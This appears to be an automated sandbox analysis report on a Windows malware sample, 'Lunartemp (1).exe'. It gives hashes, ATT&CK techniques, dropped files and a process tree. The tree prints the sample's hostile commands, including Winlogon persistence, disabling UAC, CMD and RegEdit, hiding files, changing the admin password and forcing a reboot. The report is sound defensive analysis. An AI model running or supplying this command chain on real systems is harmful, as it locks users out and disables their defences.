56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b

Reason

Machine shutdown

General

Target
Lunartemp (1).exe
Size 771KB
Sample260803-jpsjvaeb89
SHA256 56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b
MD5 2782877418b44509fd306fd9afe43e39
SHA1 b0c18bdf782ca9c4fa41074f05458ce8e0f3961b
SHA512 8826881b3ab406ee4c1fabd4848161f8524aeaeb7c4397384d36840f947ef95c8560850b2409fbf761ff225cdc8ac6eb875b705476fe9574b23c7a5478505a86
SSDEEP 24576:OeTrmlZGPL7NV9+VitFsQUxY8BGOdQSqZ:hT6KDrmIFsBJBG4XqZ
TLSH
T19BF42321F3EA40F7E4E2467245F9A56EE034A238472B8CDBCB4E3A1199457D06BB53F1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\launch.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4996	attrib.exe
2792	attrib.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3336	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\wallpaper = "C:\\hello.jpg"	reg.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\erode.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\hello.jpg	Lunartemp (1).exe
File created	C:\Program Files (x86)\hello.reg	Lunartemp (1).exe
File created	C:\Program Files (x86)\launch.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\mover.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\msg.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\mypc.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\shaking.exe	Lunartemp (1).exe
File created	C:\Program Files (x86)\hello.bat	Lunartemp (1).exe
File created	C:\Program Files (x86)\date.txt	Lunartemp (1).exe
File created	C:\Program Files (x86)\	Lunartemp (1).exe
File opened for modification	C:\Program Files (x86)\	Lunartemp (1).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6064	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunartemp (1).exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2032	reg.exe

Runs .reg file with regedit 1 IoCs

pid	Process
4612	regedit.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5076	shutdown.exe
Token: SeRemoteShutdownPrivilege	5076	shutdown.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1208 wrote to memory of 3336	1208	Lunartemp (1).exe	89
PID 3336 wrote to memory of 6064	3336	wscript.exe	90
PID 6064 wrote to memory of 4996	6064	cmd.exe	92
PID 6064 wrote to memory of 2792	6064	cmd.exe	93
PID 6064 wrote to memory of 4612	6064	cmd.exe	94
PID 6064 wrote to memory of 2136	6064	cmd.exe	95
PID 6064 wrote to memory of 1340	6064	cmd.exe	96
PID 6064 wrote to memory of 2128	6064	cmd.exe	97
PID 6064 wrote to memory of 1132	6064	cmd.exe	98
PID 6064 wrote to memory of 5880	6064	cmd.exe	99
PID 6064 wrote to memory of 2584	6064	cmd.exe	100
PID 6064 wrote to memory of 2032	6064	cmd.exe	101
PID 6064 wrote to memory of 5028	6064	cmd.exe	102
PID 5028 wrote to memory of 2576	5028	net.exe	103
PID 6064 wrote to memory of 5076	6064	cmd.exe	104

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4996	attrib.exe
2792	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Lunartemp (1).exe
"C:\Users\Admin\AppData\Local\Temp\Lunartemp (1).exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Windows\system32\wscript.exe
  "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\67E.tmp\67F.tmp\680.vbs //Nologo
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\msg.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4996
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\launch.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2792
  - - C:\Windows\regedit.exe
      regedit /s hello.reg
      4⤵
      Runs .reg file with regedit
      PID:4612
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
      4⤵
      PID:2136
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
      4⤵
      Modifies WinLogon for persistence
      PID:1340
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
      4⤵
      Sets desktop wallpaper using registry
      PID:2128
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
      4⤵
      PID:1132
  - - C:\Windows\system32\reg.exe
      reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:5880
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
      4⤵
      PID:2584
  - - C:\Windows\system32\reg.exe
      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      Modifies registry key
      PID:2032
  - - C:\Windows\system32\net.exe
      net user Admin death
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Admin death
        5⤵
        
        PID:2576
  - - C:\Windows\system32\shutdown.exe
      shutdown /t 0 /r
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5076

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a28855 /state1:0x41c64e6d
1⤵
PID:5048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:4708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

Visual Basic

1

T1059.005

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

date.txt

Path C:\Program Files (x86)\date.txt
Size 120B
SHA256 d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9
MD5 255a8e245b6ad378558b90cbe3dbc3d0
SHA1 6eb73f9f2034c113a2a6b1aab9a440a21928cfc2
SHA512 67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf
TLSH
T1BBB002179013E4492B484695DCC0D94078B8043641B056EBB93CA95683C88CCB1AB035
MD5 SHA1 SHA512 TLSH

Submit Download

hello.bat

Path C:\Program Files (x86)\hello.bat
Size 1KB
SHA256 2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091
MD5 b86fddd2b764f079615be5d4dc3e158d
SHA1 2510479054db1fe52cc2dcd3c7033d91204cb367
SHA512 915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63
TLSH
T13D11F3304C764277DAF1B320F65F885197BB664F3485975012DD2053A02B893C5BC3DA
MD5 SHA1 SHA512 TLSH

Submit Download

hello.jpg

Path C:\Program Files (x86)\hello.jpg
Size 110KB
SHA256 6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836
MD5 057ea45c364eb2994808a47b118556a2
SHA1 1d48c9c15ea5548af1475b5a369a4f7b8db42858
SHA512 582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760
SSDEEP 1536:+x21dnAxo1u4CbenxCmRrfJHQWhebhxODPsPN/U/95RUxwQPJm9oOzXQzJm3CH4K:dFg4Wex91BWx3i/9CjCDAM3m2RRy
TLSH
T196B3F1034C64C2835413F7CD3FA35B4A1E4963AC6BA278C67A97AD237CD076858AF45D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hello.reg

Path C:\Program Files (x86)\hello.reg
Size 3KB
SHA256 bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83
MD5 81427e9d5d10657b9edffd22e7b405bb
SHA1 f27ab62f77f827dbb32c66a35ac48006c47f4374
SHA512 b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592
TLSH
T14161A83BDBE2C45652738D59CDFE41B39A9A7447223CE84E48C323950ED2A8D20513BF
MD5 SHA1 SHA512 TLSH

Submit Download

launch.exe

Path C:\Program Files (x86)\launch.exe
Size 92KB
SHA256 34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42
MD5 b4acc41d0e55b299ffeec11a8a20cf08
SHA1 bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa
SHA512 d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794
SSDEEP 1536:87fy7CyfphIMvMpICdHkXMXakLC5PNNg1qCXxaIOlnToIfHml8e:SamXeCtkCubJCXxoNTBfHY8e
TLSH
T1E4938C41F3E642F3E6F2093200F6712FD635AA289714DEDBC34D29426A52AD59B343F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msg.exe

Path C:\Program Files (x86)\msg.exe
Size 9KB
SHA256 fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431
MD5 331a0667b11e02330357565427dc1175
SHA1 d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2
SHA512 1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec
SSDEEP 96:WVriQiOSKJsRv0NzjHcpK0xwPunuvc8/H/OCjOIlWc7hYkSE5pz6rJoZZLxcqU:hh8zjHj0C2nwzjOIl7O7E5pz6rJoZZb
TLSH
T122122B03FB910973CB588BF426338FACC97AB7614B51A32267A794598739684E01318F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

680.vbs

Path C:\Users\Admin\AppData\Local\Temp\67E.tmp\67F.tmp\680.vbs
Size 588B
SHA256 190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f
MD5 67706bca9ceaba11530e05d351487003
SHA1 3a5ed77f81b14093a5f18c4d46895bc7ea770fee
SHA512 902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598
TLSH
T1BAF0FE0293D6414870BA2F12BE7128784A23FF65AD7DD64E45880C0EAAF3D48D8757A7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads